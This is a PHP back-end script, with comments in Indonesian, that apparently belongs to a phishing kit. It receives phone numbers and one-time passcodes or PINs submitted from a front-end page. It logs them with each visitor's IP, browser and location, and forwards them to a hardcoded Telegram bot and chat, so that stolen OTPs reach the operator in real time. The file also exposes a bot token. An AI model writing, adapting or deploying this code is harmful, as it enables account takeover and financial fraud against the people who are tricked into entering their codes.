<?php
// req/otptran.php
// Terima JSON POST dari front-end (HTML Anda), simpan ke log, kirim ke Telegram, kembalikan JSON response.

// === CONFIG ===
// Jika Anda mau ganti token/chat_id, ubah di sini:
$telegram_bot_token = '8727011628:AAEN6_CnSRiOyTZg3is2Z8JyYodXhgXdII4';
$telegram_chat_id   = '-1003615695612';

// Path log
$log_dir = __DIR__ . '/../logs'; // satu folder di atas req/ ; sesuaikan kalau perlu
$log_file = $log_dir . '/otplog.txt';

// Pastikan folder log ada
if (!is_dir($log_dir)) {
    @mkdir($log_dir, 0755, true);
}

// === BACA INPUT ===
$raw = file_get_contents('php://input');
if (!$raw) {
    http_response_code(400);
    echo json_encode(['status' => 'error', 'message' => 'No input received']);
    exit;
}

$data = json_decode($raw, true);
if (json_last_error() !== JSON_ERROR_NONE) {
    http_response_code(400);
    echo json_encode(['status' => 'error', 'message' => 'Invalid JSON']);
    exit;
}

// Ambil informasi server / request
$ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
$forwarded_for = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? '';
if ($forwarded_for) {
    // ambil IP pertama di X-Forwarded-For
    $ips = explode(',', $forwarded_for);
    $ip = trim($ips[0]);
}
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
$accept_lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? '';
$time = date('Y-m-d H:i:s');

// Gabungkan data yang diterima (sesuaikan kalau front-end mengirim field lain)
$otp = isset($data['otp']) ? $data['otp'] : (isset($data['pin']) ? $data['pin'] : '');
$phone = isset($data['phone']) ? $data['phone'] : (isset($data['msisdn']) ? $data['msisdn'] : '');
$extra_info = $data; // simpan seluruh payload untuk keperluan troubleshooting

// Format log line (json)
$log_entry = json_encode([
    'time' => $time,
    'ip' => $ip,
    'user_agent' => $user_agent,
    'accept_language' => $accept_lang,
    'phone' => $phone,
    'otp' => $otp,
    'payload' => $extra_info
], JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);

// Tulis ke log (append)
@file_put_contents($log_file, $log_entry . PHP_EOL, FILE_APPEND | LOCK_EX);

// === KIRIM KE TELEGRAM ===
$message_lines = [];
$message_lines[] = "<b>New OTP submission</b>";
$message_lines[] = "Time: " . $time;
$message_lines[] = "IP: " . $ip;
if ($phone) $message_lines[] = "Phone: " . htmlspecialchars($phone);
if ($otp)   $message_lines[] = "OTP: <code>" . htmlspecialchars($otp) . "</code>";

// Sertakan tambahan lokasi/metadata jika ada di payload
if (!empty($data['city']) || !empty($data['region']) || !empty($data['country'])) {
    $loc = trim(($data['city'] ?? '') . ' ' . ($data['region'] ?? '') . ' ' . ($data['country'] ?? ''));
    if ($loc) $message_lines[] = "Location: " . htmlspecialchars($loc);
}
if (!empty($data['ip'])) {
    $message_lines[] = "Reported IP: " . htmlspecialchars($data['ip']);
}
if (!empty($data['device'])) {
    $message_lines[] = "Device: " . htmlspecialchars($data['device']);
}

// Jika Anda ingin melihat seluruh payload (opsional, bisa di-comment jika sensitif)
// $message_lines[] = "Payload: " . substr(json_encode($extra_info), 0, 1000);

$telegram_message = implode("\n", $message_lines);

// Kirim via Telegram Bot API
$telegram_url = "https://api.telegram.org/bot" . urlencode($telegram_bot_token) . "/sendMessage";
$post_fields = [
    'chat_id' => $telegram_chat_id,
    'text' => $telegram_message,
    'parse_mode' => 'HTML',
    'disable_web_page_preview' => true
];

// Use cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $telegram_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$telegram_resp = curl_exec($ch);
$curl_err = curl_error($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Simpan hasil kirim telegram ke log (opsional)
@file_put_contents($log_file, json_encode(['time'=>$time,'telegram_http_code'=>$http_code,'telegram_err'=>$curl_err]) . PHP_EOL, FILE_APPEND | LOCK_EX);

// === RESPONSE KE BROWSER ===
if ($http_code >= 200 && $http_code < 300) {
    echo json_encode(['status' => 'ok', 'message' => 'Data received and forwarded']);
} else {
    // meskipun telegram gagal, masih return success agar frontend tidak stuck
    echo json_encode(['status' => 'partial', 'message' => 'Data received but telegram may have failed', 'telegram_http_code' => $http_code, 'curl_error' => $curl_err]);
}